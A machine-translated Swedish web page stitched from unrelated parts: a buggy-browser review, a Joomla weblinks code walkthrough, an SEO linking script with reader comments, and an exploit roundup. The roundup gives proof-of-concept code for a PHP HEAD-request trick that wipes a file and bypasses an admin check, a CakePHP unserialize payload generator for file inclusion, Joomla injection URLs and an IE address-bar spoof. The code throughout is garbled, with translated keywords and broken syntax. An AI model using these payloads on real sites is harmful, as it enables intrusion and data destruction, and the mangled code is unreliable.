Tillkännagivanden webblänkar php. Hacks och tillbehör

Webbläsaren YRC skapas och distribueras av det indiska mjukvaruföretaget YRC Group Inc. Och därför är standardhemsidan indisk Google :))

Indiska programmerare anses vara en av de coolaste i världen (efter ryska och kinesiska :), men något gick fel med den här webbläsaren, eftersom det bara är någon form av semester, inte en webbläsare. De idéer som de försökte implementera i den här webbläsaren är vackra, men själva implementeringen är mycket dålig. Webbläsaren fungerar "genom stubben", det vill säga det är konstigt och dåligt. Jag testade det på två olika datorer - under Windows 7 och under Windows 8 - och där och där glider och fryser.

Men låt oss gå i ordning.

Efter installationen uppmanas webbläsaren att välja vissa inställningar (som till exempel kan du se på skärmdumpen ovan), och dessutom skapa ett konto för molnsynkronisering och lagring av inställningar, bokmärken, anteckningar och filer.

Bra idé! Jag trycker på länken Registrera dig, som betyder "Registrera", en webbplats med roliga bilder öppnas, men av någon anledning öppnas den inte i YRC Weblink, utan i webbläsaren som är installerad på datorn som standard och detta är den första konstigheten. En annan konstighet är att du måste ange en hel del av dina uppgifter - varför? Till exempel, i Maxthon-webbläsaren, för att registrera dig i molnet behöver du bara ange ett e-postmeddelande och lösenord, vilket är mycket enklare, trevligare och inte orsakar onödiga frågor.

Okej, jag anger alla dessa uppgifter. Ett brev anländer för att bekräfta kontot, jag klickar på länken, men webbplatsen säger "Oj! Jag kan inte hitta dina data i databasen." Men här kommer ytterligare ett brev med en ny länk, jag klickar på länken i den och igen - Oj! Men i processen med dessa ups kommer ett tredje brev och det står "Grattis, ditt konto har bekräftats!" Sådant är den speciella indiska kontokontrollen.

Jag öppnar webbläsaren, inställningar, försöker importera bokmärken. Webbläsaren ser inte bokmärkesfilen i .html-formatet, som alla webbläsare jag känner ser, förstår och accepterar utan problem. Jag skriver in filnamnet manuellt, klickar på Importera och får en rapport - bokmärken importerades framgångsrikt!

Det är precis där de importerades framgångsrikt ??? Varken i webbläsaren eller i molnet. Jag upprepar operationen igen och samma resultat. Okej, låt oss gå. Vi fortsätter.

I molnet och inställningarna finns det ett Notes-objekt. Kommer jag ihåg anteckningarna i webbläsaren Maxthon som kan skapas med den inbyggda anteckningsblocken och som automatiskt lagras i molnet, försöker jag hitta något liknande i YRC Weblink, tyvärr till ingen nytta. Du kan se anteckningar, men det finns inget verktyg för att skapa dem. Är det konstigt? Precis så!

Tja, ok. Vi ser vad vi har mer. Under installationen installerade webbläsaren själv (utan att fråga) två genvägar på skrivbordet - webbläsargenvägen (detta är normalt) och Twitter-genvägen.

Genom att klicka på den här genvägen öppnas ett separat webbläsarfönster med Twitter. Varför i helvete ska detta göras som standard? Kanske jag inte använder Twitter alls? Okej, jag tog bort Twitter-genvägen från skrivbordet, men den var inte där! När du klickar på webbläsarens genväg (och inte twitter) visas webbläsaren i aktivitetsfältet på Twitter! Jag har aldrig sett en sådan semester glitch i mitt liv!

Förresten, om dessa tre fönster som du ser i skärmdumpen ovan. Fönstret Sammanfattningsinställningar fryser en gång. Och så att du bara kan stänga av den genom att stänga av processen i Task Manager på ett annat sätt - på något sätt. Och du kan stänga synkroniseringsfönstret endast genom att logga ut i systemet.

Om du klickar på "Nej" hänger fönstret ständigt öppet. Trots att webbläsaren själv, tvärtom, spontant stängs av då och då. Och vad är roligt: \u200b\u200bwebbläsaren stängs av, och det frysande sammanfattningsfönstret och det öppna synkroniseringsfönstret gör det inte, och så de överges, övergivna av webbläsaren tills du slår dem ut i Aktivitetshanteraren. Förtrollande glitches!

Men det skulle vara fel att inte listas positiva aspekter av webbläsaren.

För det första är detta anonym surfläge. Slå på det här läget i inställningarna och webbläsaren använder inte cache, kakor, registrerar inte besökens historik. Det finns webbläsare som bara fungerar i det här läget, till exempel Browzar, som ibland är nödvändigt, men i allmänhet extremt obekvämt. Och möjligheten att snabbt ansluta / koppla bort detta läge är ett stort plus för webbläsaren.

För det andra har YRC Weblink möjligheten att välja standardsökmotor. Det är sant att man måste välja från en ganska specifik lista:

Emellertid kan sökmotorns adress också ställas in manuellt genom att klicka på Definiera ny-knappen (den är inte synlig på skärmdumpen, den är under listan).

Tja, det sista, men mycket betydande plus - YRC Weblink laddar nästan inte systemet! Som jämförelse öppnade jag 10 flikar i den och 10 flikar med samma adresser, öppnade den i webbläsaren Yandex (ledaren bland webbläsare när man laddar systemet) och det här är bilden.

Yandex webbläsare:

Det är inte svårt att gissa att YRC Weblink i denna mening praktiskt taget är ur konkurrens, på ett bra sätt.


SAMMANFATTNING. Om alla idéer som skaparna försökte implementera i den här webbläsaren gjordes som de borde, skulle det inte finnas något pris för det, kan YRC Weblink hävda att vara den bästa eller åtminstone en av de bästa webbläsarna. Men med de brister som observeras i det drar han inte ens på "tre". Jag ger honom ett betyg 3- .

Efter testning avinstallerar jag webbläsaren - att ha ett sådant buggy-program på datorn är helt värdelöst. Vi väntar på ytterligare steg från YRC Group Inc. Indiska programmerare kommer att kunna eliminera alla brister och släppa en riktigt fungerande version av webbläsaren, heder och beröm. Om de misslyckas kommer en mer dödlig webbläsare i världen att vara mer.

Joomla! Ingångspunkt Komponenten liknar de flesta komponenter. I det här exemplet kommer vi att använda en av komponenterna i Joomla-kärnan - webblänkar. Den första filen som ska köras i front-end: ... / komponenter / com_weblinks / weblinks.php.

  Först ser vi en säkerhetskontroll utformad för att se till att ingen kan ringa den här sidan direkt. Detta är standarden som ska användas i alla dina php-filer (även om det finns några få undantag):

Vi kontrollerar frågesträngen för att se om ett specifikt controllernamn har skickats. I så fall ser vi till att vi kan ladda den nödvändiga filen i kontrollkatalogen:

// Kräv specifik styrenhet om så begärs  if ($ controller \u003d JRequest :: getWord ("controller")) ($ path \u003d JPATH_COMPONENT. DS. "controllers". DS. $ controller. ".php"; if (file_exists ($ path)) (demand_once $ path; ) annat ($ controller \u003d "";))

Nu initierar vi vår kontrollklass med namnet definierat ovan:

Så snart uppgiften är klar gör vi en omdirigering om den krävs:

// Omdirigera om det ställs in av regulatorn  $ controller -\u003e omdirigera ();

Controller Class

Den allmänna (karakteristiska) styrenheten för länkkomponenten är här: ... / komponenter / com_weblinks / controller.php.
  Hela klassen definierar visningsmetoden, som är standardmetoden om användaren inte definierar en annan uppgift.

   definierade ("_JEXEC") eller die ("Begränsad åtkomst"); jimport ( "Joomla.application.component.controller") ; / ** * Weblink Component Controller * * @package Joomla * @subpackage Weblinks * @since 1.5 * / klass WeblinksController utökar JController ( / ** * Metod för att visa en webblänksvy * * @ tillgång public * @since 1.5 * /   funktionsvisning () ( // Ställ in en standardvy om ingen finns   if (! JRequest :: getCmd ("view")) (JRequest :: setVar ("view", "kategorier");) // uppdatera hitantalet för webblänken   if (JRequest :: getCmd ("view") \u003d\u003d "weblink") ($ model \u003d & $ this -\u003e getModel ("weblink"); $ model -\u003e hit ();) // Visa cache-logik - enkel ... är vi inloggade?   $ user \u003d & JFactory :: getUser (); $ view \u003d JRequest :: getVar ("view"); $ viewcache \u003d JRequest :: getVar ("viewcache", "1", "POST", "INT"); if ($ user -\u003e get ("id") || ($ view \u003d\u003d "kategori" && $ viewcache \u003d\u003d 0)) (moder :: display (falsk);) annat (moder :: display (true); )))

I den här metoden ställer vi in \u200b\u200bstandardvyn (vy): visa kategorier, om en annan vy inte gick som en frågesträngsparameter. Om den önskade vyn är webblänk, ökar vi värdet på länkvisningsräknaren. Sedan ställer vi in \u200b\u200bvärdet på visningsvariabeln och ringer diplay-metod för vår moderklass JController.
  Det är värt att ägna särskild uppmärksamhet åt att ringa getModel-metoden. Han laddar ner det nödvändiga komponentmodell. I det här exemplet laddar den här metoden webblinkmodellen som finns här: ... / komponenter / com_weblinks / models / weblink.php.
  Här håller vi med om att vi inte begärde en specifik vy, och därför kommer vår åsikt att ställas in på kategorier.
  Sedan öppnar vi visningsklassen.

Visa klass

Eftersom vi antar att vi vill ha en kategorivy är detta nästa fil som ska köras: ... / komponenter / com_weblinks / visningar / kategorier / view.html.php

// Kontrollera att denna fil ingår i Joomla!  definierade ("_JEXEC") eller die ("Begränsad åtkomst"); jimport ( "Joomla.application.component.view") ; / ** * HTML Visa klass för WebLinks-komponent * * @static * @package Joomla * @subpackage Weblinks * @since 1.0 * /  klass WebblänkarViewKategorier utökar JView (funktionsvisning ($ tpl \u003d null) (global $ mainframe; $ document \u003d & JFactory :: getDocument (); $ kategorier \u003d & $ detta -\u003e få ("data"); $ totalt \u003d & $ detta -\u003e get ("total"); $ state \u003d & $ this -\u003e get ("state"); // Få sidan / komponentkonfigurationen $ params \u003d & $ mainframe -\u003e getParams (); $ menyer \u003d & JSite :: getMenu (); $ -meny \u003d $ -menyer -\u003e getActive (); // eftersom applikationen anger en standardsidatitel, måste vi få den // direkt från menyalternativet   if (is_object ($ menu)) ($ menu_params \u003d new JParameter ($ menu -\u003e params); if (! $ menu_params -\u003e get ("page_title")) ($ params -\u003e set ("page_title", JText :: _ ("Webblänkar"));)) annat ($ params -\u003e set ("page_title", JText :: _ ("Web Links"));) $ dokument -\u003e setTitle ($ params -\u003e get ("page_title) ")); // Ställ in några standardvärden om inte inställt för paramer   $ params -\u003e def ("comp_description", JText :: _ ("WEBLINKS_DESC")); // Definiera attribut för bildtagg   if ($ params -\u003e get ("image")! \u003d - 1) (if ($ params -\u003e get ("image_align")! \u003d "") $ attribs ["align"] \u003d $ params -\u003e get (" image_align "); annars $ attribs [" align "] \u003d" "; $ attribs [" hspace "] \u003d 6; // Använd det statiska HTML-biblioteket för att bygga bildtaggen   $ image \u003d JHTML :: _ ("image", "bilder / berättelser /". $ params -\u003e get ("image"), JText :: _ ("Webblänkar"), $ attribs); ) för ($ i \u003d 0; $ i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->  länk \u003d JRoute :: _ ( "index.php? option \u003d com_weblinks & view \u003d kategori & id \u003d". $ kategori -\u003e slug); // Förbered kategoribeskrivningen   $ kategori -\u003e beskrivning \u003d JHTML :: _ ("content.prepare", $ kategori -\u003e beskrivning); ) $ detta -\u003e allocRef ("bild", $ bild); $ detta -\u003e allocRef ("params", $ params); $ detta -\u003e allocRef ("kategorier", $ kategorier); förälder :: display ($ tpl); ))?\u003e

Och igen, detta är en mycket enkel klass med en visningsmetod. Det mesta av logiken här är specifik för länkkomponenten, men om du tittar noga kan du hitta funktionaliteten som används i de flesta klasser av komponentrepresentationer. I slutet av visningsmetoden ringer denna klass föräldern (JView) visningsmetodpasserar namnet på mallen som ska visas. Om namnet på visningsmallen inte ges, används standardmallen.
  Och i det senare öppnar vi mallklassen.

Mallklass

Låt oss komma överens om att ett specifikt mallnamn inte överfördes, så mallen kommer att användas genom att "standard". I det här fallet ska följande fil beaktas: ... / komponenter / com_weblinks / visningar / kategorier / tmpl / default.php
-\u003e fly ($ this -\u003e params -\u003e get ("page_title")); ?\u003e

params -\u003e def ("bild", - 1)! \u003d - 1) || $ detta -\u003e params -\u003e def ("show_comp_description", 1)):?\u003e
  bild)): echo $ this -\u003e image; endif; echo $ this -\u003e params -\u003e get ("comp_description"); ?\u003e
      kategorier som $ kategori):?\u003e
  •   flykt ($ kategori -\u003e titel); ?\u003e (  numlinks; ?\u003e)

Det mesta av logiken här är specifik för den komponent som körs. Koden visar också att all HTML i denna fil är blandad med PHP - det är dess egenhet när det gäller syftet.

Andra filer som används i komponenter

Några av de andra filtyperna du kanske hittar i komponenterna:

  • Hjälpare - komponenter använder ofta helper.php-filen eller hjälpkatalogen med många filer. Dessa filer innehåller vanligtvis endast allmän funktionalitet för komponenten.
  • Tillgångar verkar vara en omfattande mapp för andra filer som ingår i komponenten.
  • router.php - den här filen används när SEF URL-inställningen är aktiverad, för att översätta URL: en i båda riktningarna (i mänsklig vän med alias och i Joomla-systemvyn med parametrar).
  • xml-filer - de bestämmer vanligtvis parametrarna och annan information om komponenten och dess översikt. De används till exempel när du skapar komponentmenyalternativ.
  • index.html är en bra praxis att ha en tom index.html-fil i alla dina kataloger. Detta är en sådan passiv säkerhetsåtgärd.
  • css / images / js - mappar som innehåller olika filer för implementering av design och funktionalitet på klientsidan (i webbläsaren).

Den här månaden vill inte grävarna skämma bort oss med nya högprofilerade exploater i populära applikationer. Naturligtvis har mycket rådgivande publicerats i produkter från kända företag, men mycket få av dem innehåller smältbara PoC-koder. I vår recension försökte jag samla de mest betydelsefulla och fullständiga sårbarheterna som beskrivs nyligen, så bli bekväm och njut av att läsa.

PHP-sårbarhet vid bearbetning av HTTP-huvudbegäranden

Brief

Den 3 mars upptäckte en viss Adam Ivanyuk en intressant funktion i PHP-tolkaren, som inte hanterar HEAD-begäran korrekt. Forskaren kallade denna sårbarhet "HTTP HEAD-metodstrick i php-skript".

Många kodare utvecklar sina egna PHP-skript, i hopp om att alla instruktioner skrivna i dem framgångsrikt kommer att genomföras utan att störa någonstans i mitten (särskilt i korta skript). Detta händer om skriptet begärs av slutanvändaren med metoderna GET, POST, PUT.

Men du bör vara medveten om att det finns andra HTTP-metoder - till exempel HEAD. Bara vid bearbetning av denna metod i PHP kan ett säkerhetshål uppstå.

Vi tittar på en av tolkskällorna: ./main/SAPI.c, rad 315:

if (SG (request_info) .request_method &&
  ! strcmp (SG (request_info). fråga_metod, "HEAD"))
{
  SG (request_info). Headers_only \u003d 1;
...

När data kommer fram körs funktionen php_ub_body_write. Titta sedan på main / output.c, rad 699:

if (SG (request_info). headers_only) (
  if (SG (headers_sent))
{
  retur 0;
}
  php_header (TSRMLS_C);
  zend_bailout ();
}

Här kan du se att när skärmen först visas och när HEAD-metoden används stör zend_bailout-funktionen skriptet.

Exploit

  $ line \u003d "Nick:" .htmlspecialchars
  ($ _POST ["nick"]). "

  Text: ".htmlspecialchars
  ($ _POST ["text"]). "


";
  $ f \u003d fopen ("book.txt", "r");
  $ data \u003d fread ($ f, fi lesize ("book.txt"));
  fclose ($ f);
  $ f \u003d fopen ("book.txt", "w");
  $ data \u003d $ linje. $ data;
  echo $ data;
  fwrite ($ f, $ data);
  fclose ($ f);
?>

Låt oss nu vända oss till det här skriptet med hjälp av HEAD-metoden:

  stream_context_get_default
  (array ("http" \u003d\u003e array ("metod" \u003d\u003e "HEAD")));
  print_r (get_headers ("http://site.com/guestbook.php"));
?>

Som förväntat kommer vår gästbok att stoppa dess körning på raden "echo $ data;", så book.txt-filen kommer helt enkelt att återställas till noll.
  Detta exempel är ganska destruktivt. I det andra exemplet kan vi kringgå godkännande i den primitiva adminpanelen:

  session_start ();
  echo "En lång sträng innehåller cirka 4090 tecken";
  $ _SESSION ["admin"] \u003d 1;
  if (! isset ($ _ POST ["pass"]) ||
  $ _POST ["pass"]! \u003d "Somepassword")
{
  eko " Fel eller tomt lösenord.
";
  $ _SESSION ["admin_level"] \u003d 0;
}
?>

I det här skriptet, när du ringer med vanliga metoder, ställs en administrativ variabel in i sessionen. Om användaren sedan angav fel lösenord återställs denna variabel och användaren blir inte administratör.

Om vi \u200b\u200böppnar administratörspanelen via HEAD, kommer dess körning att avbrytas på ett kodstycke med "eko", så den administrativa variabeln kommer inte att återställas, och vi kan säkert ströva över den stängda delen av applikationen. Det bör noteras att på de flesta webbservrar är utgångsbuffertvärdet inställt på 4096 byte, så i ett fungerande exempel kan vi behöva raden "En lång sträng innehåller cirka 4090 tecken".

Exploit

  • PHP<= 5.3.5

lösning

Vid tidpunkten för översynen var den senaste versionen av PHP version 5.3.5. Det finns inga korrigeringar i detta fel, så jag kan bara råda dig att noggrant titta på källkoden för dina skript för oförutsedda situationer när du använder HEAD-metoden.

Utför godtycklig kod i CakePHP

Brief

CakePHP är ett välkänt (över 7 000 000 omnämnanden i Google) mjukvararam för att skapa webbapplikationer, skrivna i PHP och byggda på principerna för öppen källkodsprogramvara. CakePHP implementerar MVC-mönstret Model-View-Controller.

Ursprungligen skapades denna ram som en klon av den populära Ruby on Rails, många idéer lånades därifrån:

  • Egen filstruktur;
  • stöd för många plugins;
  • dataabstraktion (PEAR :: DB, ADOdb och Kakes egen utveckling);
  • stöd för flera DBMS (PostgreSQL, MySQL, SQLite, Oracle).

Det är inte förvånande att en så anmärkningsvärd mjukvaruprodukt uppmärksammade många pentestrar. För inte så länge sedan hittade en person med smeknamnet felix ett intressant fel i det här ramverket relaterat till magiska metoder och användningen av unserialize-funktionen (läs mer om denna klass av sårbarheter i förra årets magasinutgåvor).

Öppna först komponenten. / Libs / controller / component / security.php och leta efter följande kod som är ansvarig för att skydda mot XSRF-attacker med POST-förfrågningar:

  funktion _validatePost (& $ controller)
{
...
  $ check \u003d $ controller-\u003e data;
  $ token \u003d urldecode ($ check ["_ Token"] ["fi elds"]);
  if (strpos ($ token, ":")) (
  list ($ token, $ lock) \u003d explodera (":", $ token, 2);
}
  $ låst \u003d unserialize (str_rot13 ($ låst));
...
?>

Här innehåller $ check-arrayen våra POST-data, och variabeln $ låst är en seriell sträng som är fördunklad med funktionen str_rot13 (), som är helt under vår kontroll.

Vid denna tidpunkt är det värt att göra en liten avtryck för de som inte har läst de relevanta artiklarna i] [, och kort prata om ett fel som manifesterar sig i PHP magiska metoder. Så i PHP version 5 har det grundläggande konceptet för OOP-programmering dykt upp: en konstruktör och en förstörare. Konstruktorn implementeras med __construct-metoden och destruktorn implementeras med __destruct-metoden. I slutet av sitt arbete och när det kallas genom funktionen unserialize (), kör varje objekt sin egen __ destruct-metod, om det är skrivet i koden.

Nu tillbaka till vårt ramverk och titta på förstöraren av app-klassen från filen. / Libs / configure.php:

funktion __destruct ()
{
  if ($ detta -\u003e __ cache)
{
  $ core \u003d App :: core ("cake");
  unset ($ detta -\u003e __ sökvägar);
Cache :: skriva ("dir_map", array_fi lter ($ detta -\u003e __ sökvägar),
"cake_core");
  Cache :: skriva ("fi le_map", array_fi lter ($ detta -\u003e __ karta),
"cake_core");
  Cache :: skriva ("object_map", $ detta -\u003e __ objekt,
"cake_core");
}
}

Från koden ovan kan du förstå att den här metoden kan komprometteras genom att skriva godtyckliga värden till Cache-objektet. Den mest intressanta hacknyckeln är "file_map". Det hanterar förhållandena mellan klasser och tillhörande PHP-filer och används också för att ladda ytterligare klasser under skriptkörning.

Den faktiska koden för att ladda klasser ser lite mer komplicerad ut, men det hela kommer till följande kod från metoden __load i App-klassen:

...
  if (fi le_exists ($ fi le)) (
  if (! $ this-\u003e return) (
  kräva ($ fi le);
  $ detta -\u003e __ laddat [$ fi le] \u003d true;
}
  tillbaka sant;
...
?>

Bingo! Genom att ersätta $ filvariabeln kan vi inkludera vår egen PHP-kod! Dessutom kommer det att vara ett verkligt fjärranslutet filinkluderingsfel - därför behöver vi inte några fler trick med att ladda upp lokala filer till servern. Författaren till den hittade sårbarheten erbjuder emellertid en LFI-variant av att utnyttja detta hål, eftersom CakePHP använder en filbaserad lokal cache, som är i serieform i en katalog som är känd för cracker.

Exploit

Som en liten PoC för att generera en giftig seriell sträng erbjuder felix följande kod:

  $ x \u003d ny app ();
  $ x -\u003e __ cache \u003d 1;
  $ x -\u003e __ map \u003d array ("Core" \u003d\u003e array (
  "Router" \u003d\u003e "../tmp/cache/persistent/cake_core_fi le_map"),
  "Foo" \u003d\u003e "");
  $ x -\u003e __ banor \u003d matris ();
  $ x -\u003e __ objekt \u003d array ();
  ekoserialisering ($ x);
?>

Naturligtvis måste du först inkludera de nödvändiga klasserna från CakePHP. Det finns också en fullt funktionell Python-exploit, som du kan hitta på malloc.im/burnedcake.py.

Denna delning ska fungera i alla CakePHP-baserade applikationer som använder POST-formulär med säkerhetstoken och där standardplatsen för cachefilerna inte har ändrats. Som standard visar exploiten databaskonfigurationen, annan användbarhet läggs lätt till genom att ändra den inbyggda PHP-nyttolasten.

mål

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

lösning

För att åtgärda den beskrivna sårbarheten behöver du bara ladda ner den senaste versionen av CakePHP-grenen du använder från leverantörens webbplats cakephp.org.

Sökväg och potentiella SQL-injektioner i Joomla!

Brief

Jumla är ett innehållshanteringssystem skrivet i PHP och JavaScript och använder MySQL-databasen som lagring. Det är gratis programvara som distribueras under GNU GPL.

Om du inte har stött på Joomla !, i din hackningsaktivitet, så bor du helt enkelt på en annan planet :). I den här recensionen vill jag tala omedelbart om två potentiella SQL-injektioner i olika grenar av Jumla som gick obemärkt och otvisterade.

Så den första injektionen upptäcktes av killarna från YGN Ethical Hacker Group (yehg.net/lab) i version 1.5.21-motorn.

När författarna själva skriver, upptäcktes potentiella SQL-injektioner av dem i Joomla! 1.5.20 som en del av en studie på XSS. Dessa buggar rapporterades omedelbart till motorns utvecklingsteam, som snart släppte den "lappade" version 1.5.21. Ordet "lappat" finns i citattecken, eftersom utvecklare blivit synliga för de flesta av YEHG-teamets rådgivare och hoppades att dessa sårbarheter inte var fullt utnyttjbara, eftersom Joomla! har inbyggda strängar säkerhetsfilter.

Som ett resultat avslöjade grävarna detaljer om driften av de upptäckta potentiella SQL-injektioner till allmänheten, som vi naturligtvis kommer att använda.
  Så öppna filen. / Components / com_weblinks / models / category.php och hitta följande kod i den:

funktion _buildQuery ()
{
  $ fi lter_order \u003d $ this-\u003e getState ("fi lter_order");
  $ fi lter_order_dir \u003d $ this-\u003e getState ("fi lter_order_dir");
  $ fi lter_order \u003d JFilterInput :: ren ($ fi lter_order, "cmd");
  $ fi lter_order_dir \u003d
  JFilterInput :: ren ($ fi lter_order_dir, "word");
  // Vi måste få en lista över alla
  // webblänkar i den angivna kategorin
  $ query \u003d "VÄLJ *".
  "FRÅN #__webblänkar".
  "VAR catid \u003d". (int) $ detta -\u003e _ id.
  "OCH publicerad \u003d 1".
  "OCH arkiverade \u003d 0".
  "BESTÄLL AV". $ fi lter_order. "".
  $ fi lter_order_dir. ", beställning";
  returnera $ fråga;
}

Här kan man se att variablerna $ filter_order och $ filter_order_dir inte klarar strikt överensstämmelse med SQL-satser, kontrollen görs endast med hjälp av standardrensningsmetoden från klassen JFilterInput:

...
  fall "WORD":
  $ result \u003d (string) preg_replace ("/ [^ A-Z _] / i", "", $ source);
  break;
...
  fall "CMD":
  $ resultat \u003d (sträng)
  preg_replace ("/ [^ A-Z0-9 _.-] / i", "", $ källa);
  $ resultat \u003d ltrim ($ resultat, ".");
  break;
...

Således får vi som standard avslöjandet av vägarna. Ett liknande fel i samma variabler upptäcktes nyligen i den första versionen av motorn från den nya 1.6-grenen.

Exploit

Som standard kan vi bara använda sökvägen i Joomla!<= 1.5.21:

  • /index.php?option\u003dcom_weblinks&view\u003dcategory&id\u003d2&fi lter_order_Dir \u003d & fi lter_order \u003d% 00 "
  • /index.php?option\u003dcom_weblinks&view\u003dcategory&id\u003d2&fi lter_order_Dir \u003d "& fi lter_order \u003d asc

och i Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order \u003d yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA & & \u003d 3 limit \u003d 3 \u003d
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order \u003d 1, & fi lter_order_Dir \u003d yehg.net.BBBBBBBBBBBB, & limit \u003d 3 & limitstart \u003d 4

Bugggrävare erbjuder emellertid att använda dessa buggar i redan installerade Jumla-installationer i samband med motorutveckling: du behöver bara ta bort JFilterInput :: rena filter från variablerna filter_order_Dir och filter_order, varefter du kan använda den modifierade sårbarheten obegränsat.

Det finns också information om att vissa resursmässiga människor fortfarande lyckades kringgå dessa ökända filter, men utnyttjandet är i djupt privat.

mål

  • Joomla!<= 1.5.21, Joomla! 1.6.0

lösning

Glöm inte som alltid att uppdatera från den officiella webbplatsen för utvecklaren joomla.org. I skrivande stund var de senaste versionerna av detta CMS 1.5.22 respektive 1.6.0.

Adressfältförfalskning i Microsoft Internet Explorer

Brief

Slutligen vill jag prata om ett litet och extremt roligt fel i åsnan IE, som upptäcktes av en hacker under smeknamnet cyber flash. Detta fel tillåter en fjärransluten användare att utföra en enkel falsk attack.

Sårbarhet finns på grund av ett fel vid uppdatering av adressfältet i ett popup-fönster. Med hjälp av en speciellt utformad webbsida kan en fjärranvändare tvinga webbläsaren att bara visa en viss del av adressen i adressfältet.

Exploit

Som ett exempel med adressfältet föreslår författaren själv följande PoC HTML-kod:


  content \u003d "text / html; charset \u003d windows-1252"\u003e
Spoof



  Klicka var som helst på denna sida!

Cyber-flash ger oss också en färdig sida med PoC-kod för testning på keyloggeronline.com/misc/temp/about.htm för testning.

Efter att ha besökt den här sidan ser vi en inskription med en länk som inbjuder oss att gå till bing.com. Genom att klicka på länken ser vi ett popup-fönster i adressfältet där samma Bing kommer att visas. Nedan är en annan länk som kallar för att ladda ner en ny Internet Explorer (dessutom håller du markören över "Ladda ner", vi kommer inte att se något misstänkt, även om det inte finns en ny version av webbläsaren där, men ett pseudo-trojan-program från Cyber \u200b\u200bFlash).
  Således kan en angripare enkelt smita en skadlig fil till en åsnanvändare.

mål

  • MS Internet Explorer 7, 8, 9

lösning

För närvarande har de mjuka ännu inte fixat den beskrivna sårbarheten, så om du använder IE rekommenderar jag att du är mer försiktig med okända popup-fönster som en tillfällig åtgärd.

Jag fortsätter att dela med dig små, men mycket användbara skript för webbplatsen, vilket hjälper till att förbättra sökmotorernas inställning till din webbplats. Den här gången kommer vi att fokusera på kompetent länkning av sidor.

Skapa först en databas med sidadresser och möjliga ankare till var och en av dem. Som bas kommer vi att använda en * .txt-formatfil. Filstrukturen kommer att vara så här:

Page_address_1; anchor_1, anchor_2, anchor_3, ..., anchor_n address_pages_2; anchor_1, anchor_2, anchor_3, ..., anchor_n address_pages_3; anchor_1, anchor_2, anchor_3, ..., anchor_n ... page_address_n; anchor2, anchor_1, anchor_1, anchor_1 ..., ankare_n

Som ni ser är ytterligare användning av skriptet möjligt med valfritt antal sidadresser och ankare till dem. Sidadressen är skriven utan http://www.site.ru/, d.v.s. omedelbart från roten utan det första snedstrecket. Adressen skiljs från förankringarna med en semikolon, och förankringarna mellan dem är helt enkelt ett komma. Du kan också skriva en fullständig adress, det är bara att det är bekvämare för mig personligen, men du kan ändra fyllningen och leveransen av resultaten för dig själv, jag tror att du kommer att ta reda på det intuitivt.

Och så har en databas med länkar och ankare till dem skapats, då kommer jag att ge ett exempel på PHP-kod för direkt visning av länkar för länkar på webbplatsen:

". $ tex2 [$ tex3].""; } ?>

Vi klistrar in den här koden på vilken plats som helst på webbplatsen, som visar 5 slumpmässiga länkar från databasen och ett slumpmässigt ankare. Det är bättre att utspäda ankare och inte bara skriva 1 till länken. Med kompetenta länkar på webbplatsen ser du omedelbart trafiktillväxt och förbättring av andra webbplatsindikatorer.

Väntar på dina frågor i kommentarerna till det här inlägget.

Publiceringsdatum: 3 mars 2014
       Recensioner och kommentarer:

    Dmitry:
    Tack för skriptet, jag kommer att implementera det. Det är omöjligt att kopiera från källkoden från webbplatsen, den kopieras endast i små fragment, det skulle vara mer praktiskt som en helhet.

    Kirill:
       Tack för kommentaren med kopian, just nu såg jag den, jag kommer att försöka fixa den inom en snar framtid.

    Alexey Pavlov:
       Felet i raden är $ tex \u003d explode (":", $ sendlist [$ count] Vi behöver en semikolon, inte en kolon. Jag ändrade koden lite och gjorde den tydligare:$ ankare"; } ?>

    Matrk:
       Artikeln är helt värdelös, för bloggen är skyddad mot att kopiera text.

    Kirill:
       Det finns ett litet jamb i js, ja, det finns ingen tid att fixa det, men förmodligen är någon annan värdelös, eftersom sinnet inte räcker i det här fallet, titta på sidens källkod och ta det därifrån

    Matrk:
       dvs ska jag fortfarande klättra på källkoden och rensa det för något skräp? Du är rolig.

    Kirill:
       Det visar sig att jag är skyldig något till någon? Jag har tagit pengar från dig, du försöker här, du ger gratis råd :))) Gratis ost bara i en råttfälla, med ålder kommer du att förstå.

    Kirill:
       Jag tog bort fogen, använd den för hälsa.

    Andrey Kopaev:
       1 - det är förmodligen bättre att göra detta med hjälp av mysql-databasen kommer att fungera snabbare, att lägga till är lättare 2 - Jag förstår inte vad som är poängen med att generera en lista med länkar varje gång? Hur påverkar detta trafiktillväxten? Är det möjligt att ladda med en ajax, d.v.s. Är det för människor eller för bots?

    www.sayt:
       För marknadsföring är jag personligen inte en anhängare av sådana manipulationer med PS.

Vi börjar behandlingen av komponenterna genom hur baskomponenten i webblänkar fungerar på den administrativa delen av webbplatsen. Den här komponenten, typisk för denna del av webbplatsen, liknar dess andra komponenter som är utformade för att hantera artiklar, användare, moduler etc.

Programfilerna för denna komponent listas nedan. Alla dessa filer finns i mappen. administratör / komponenter / com_weblinks. I resten av detta kapitel hänvisas namnen på alla filer i webblänkskomponenten med avseende på den här första mappen, såvida inget annat anges. De flesta filer är organiserade med MVC-mönstret. I synnerhet finns alla visningsfiler i en undermapp av vyer, och alla huvudfiler för modeller och kontroller finns i undermappar av modeller respektive styrenheter. De kompletteras också med installations-, konfigurations- och hjälpfiler.

Komponentadministrativa filerWebblänkar utom index.html-filer

  • controllers / weblink.php - Huvudkontrollen för redigering av en enda webblänkkontroller
  • controllers / weblinks.php - Huvudkontrollen för att sammanställa Controller och visa en lista över webblänkar på skärmen Weblinks Manager (Web Link Manager)
  • helpers / weblinks.php - Tillhandahåller olika metoder som används i kontroller och vyer
  • models / field / ordering.php - JformField-modellen för att visa beställningskolumnen för webblänkar på skärmen Weblinks Manager
  • modeller / former / weblink.xml - XML-fil som används i Jform-Field-modellklassen för att markera ett formulär med inmatningsfält och redigera webblänkar på skärmen
  • models / weblink.php - Modell för en enda skärmformulär
  • models / weblinks.php - Modell för avsändarskärmsform Webblänkmodell
  • sql / install.mysql.utf8.sql - SQL-fil för sammanställning av en tabell över webblänkar under installationen
  • sql / uninstall.mysql.ut8.sql - SQL-fil för att ta bort tabellen över webblänkar under installationen
  • tabeller / weblink.php - Tillhandahåller modellklassen
  • visningar / weblink / tmpl / edit_metadata.php - Original layoutfil för redigering av metadata för webblänkar

Den administrativa delen av Weblinks-komponenten

